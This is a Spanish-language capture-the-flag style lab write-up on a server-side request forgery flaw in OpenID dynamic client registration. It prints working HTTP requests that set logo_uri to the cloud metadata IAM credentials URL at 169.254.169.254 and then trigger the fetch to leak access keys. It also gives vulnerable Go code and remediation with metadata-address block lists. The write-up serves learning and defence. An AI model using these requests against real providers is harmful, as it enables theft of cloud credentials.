← Writeups

SSRF via OpenID dynamic client registration

OpenID Dynamic Client Registration SSRF: el campo logo_uri de POST /reg es fetcheado por el proveedor OAuth, permitiendo leer el metadata IAM de la nube en 169.254.169.254.

Target Overview & Vulnerability Summary

El laboratorio permite a las aplicaciones cliente registrarse dinámicamente contra el servicio OAuth mediante un endpoint de registro dedicado. Algunos datos específicos del cliente son usados de forma insegura por el servicio OAuth, lo que expone un vector SSRF: el campo logo_uri (una URL controlada por el atacante) es fetcheado por el servidor al servir el logo del cliente. Apuntando a la metadata de IAM de la nube (169.254.169.254), se extrae el secret access key del entorno cloud del proveedor OAuth.

Campo Valor
Severidad Alta (SSRF → robo de credenciales IAM del entorno cloud del proveedor OAuth)
Endpoint vulnerable POST /reg (dynamic client registration), GET /client/<clientID>/logo
Root cause El proveedor fetchea logo_uri controlada por el atacante sin validar esquema ni destino (sin bloqueo de IPs link-local/metadata)

Technical Breakdown & Exploitation Flow

Credenciales: wiener:peter. Objetivo: leer http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ y robar el access key.

Paso 1 — Registro dinámico de un cliente malicioso

Tras obtener la documentación del endpoint de registro, se envía un POST /reg para registrar un nuevo cliente, manipulando el campo logo_uri con un payload SSRF que apunta a la metadata IAM de la nube:

POST /reg HTTP/2
Host: oauth-0ae800e903d8f2c2800d01b7022100f4.oauth-server.net
Content-Type: application/json
Content-Length: 157

{
    "redirect_uris": [
        "https://test.com"
    ],
    "logo_uri": "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"
}

La especificación OpenID Connect Dynamic Client Registration (RFC 7591) permite registrar campos como redirect_uris y logo_uri. El servidor acepta el logo_uri sin validar el destino.

Paso 2 — Trigger del fetch server-side

El contenido de logo_uri es leído por el proveedor al servir el logo del cliente registrado. El request GET /client/<clientID>/logo fuerza al servidor a fetchear la URL almacenada y devolver su contenido al atacante:

GET /client/<clientID>/logo HTTP/2
Host: oauth-0ae800e903d8f2c2800d01b7022100f4.oauth-server.net

La respuesta expone el documento IAM (/latest/meta-data/iam/security-credentials/admin/) que contiene el AccessKeyId, SecretAccessKey y Token del rol de IAM del entorno cloud del proveedor OAuth. Con esas credenciales se resuelve el laboratorio (entregar el secret access key).

Root Cause Analysis

El defecto está en el procesamiento server-side de URLs aportadas por el cliente. El flujo defectuoso:

// defectuoso: logo_uri es una URL del atacante, fetcheada sin validación
type Registration struct {
    RedirectURIs []string `json:"redirect_uris"`
    LogoURI      string   `json:"logo_uri"`
}
reg := decode(body)

logo, err := http.Get(reg.LogoURI) // SSRF: http.Get("http://169.254.169.254/...")
return serveLogo(logo)

El servidor no valida esquema (acepta http://), ni resuelve el host contra la lista de IPs internas/link-local. 169.254.169.254 es la IP de metadata cloud (IMDS) estándar en AWS/GCP/Azure: un fetch server-side hacia ella devuelve las credenciales temporales del rol de la instancia.

Secure Remediation

  • Validar estrictamente logo_uri en el registro: esquema permitido (https://), host en lista blanca de CDNs de logos, y rechazo de IPs privadas, link-local y rangos de metadata (169.254.169.254/32, 100.100.100.200, metadata.google.internal, etc.):
func validateLogoURI(raw string) error {
    u, err := url.Parse(raw)
    if err != nil || u.Scheme != "https" {
        return errors.New("logo_uri must be https")
    }
    ip, err := net.LookupIP(u.Hostname())
    if err != nil || isPrivateOrMetadata(ip) { // 169.254.0.0/16, 10.0.0.0/8, ...
        return errors.New("logo_uri host not allowed")
    }
    return nil
}
  • Si el fetch es imprescindible, realizarlo con un HTTP client endurecido: resolución DNS/ip contra la lista negra, sin redirecciones (CheckRedirect que rechace destinos internos), timeouts cortos y descarte de respuestas a IPs internas.
  • En AWS, mitigar con IMDSv2 (X-aws-ec2-metadata-token) que exige una sesión previa y hace el SSRF a metadata mucho más difícil.
  • Cachear logos de clientes registrados y verificar el contenido (solo imágenes, re-encode) en lugar de servir el fetch directo.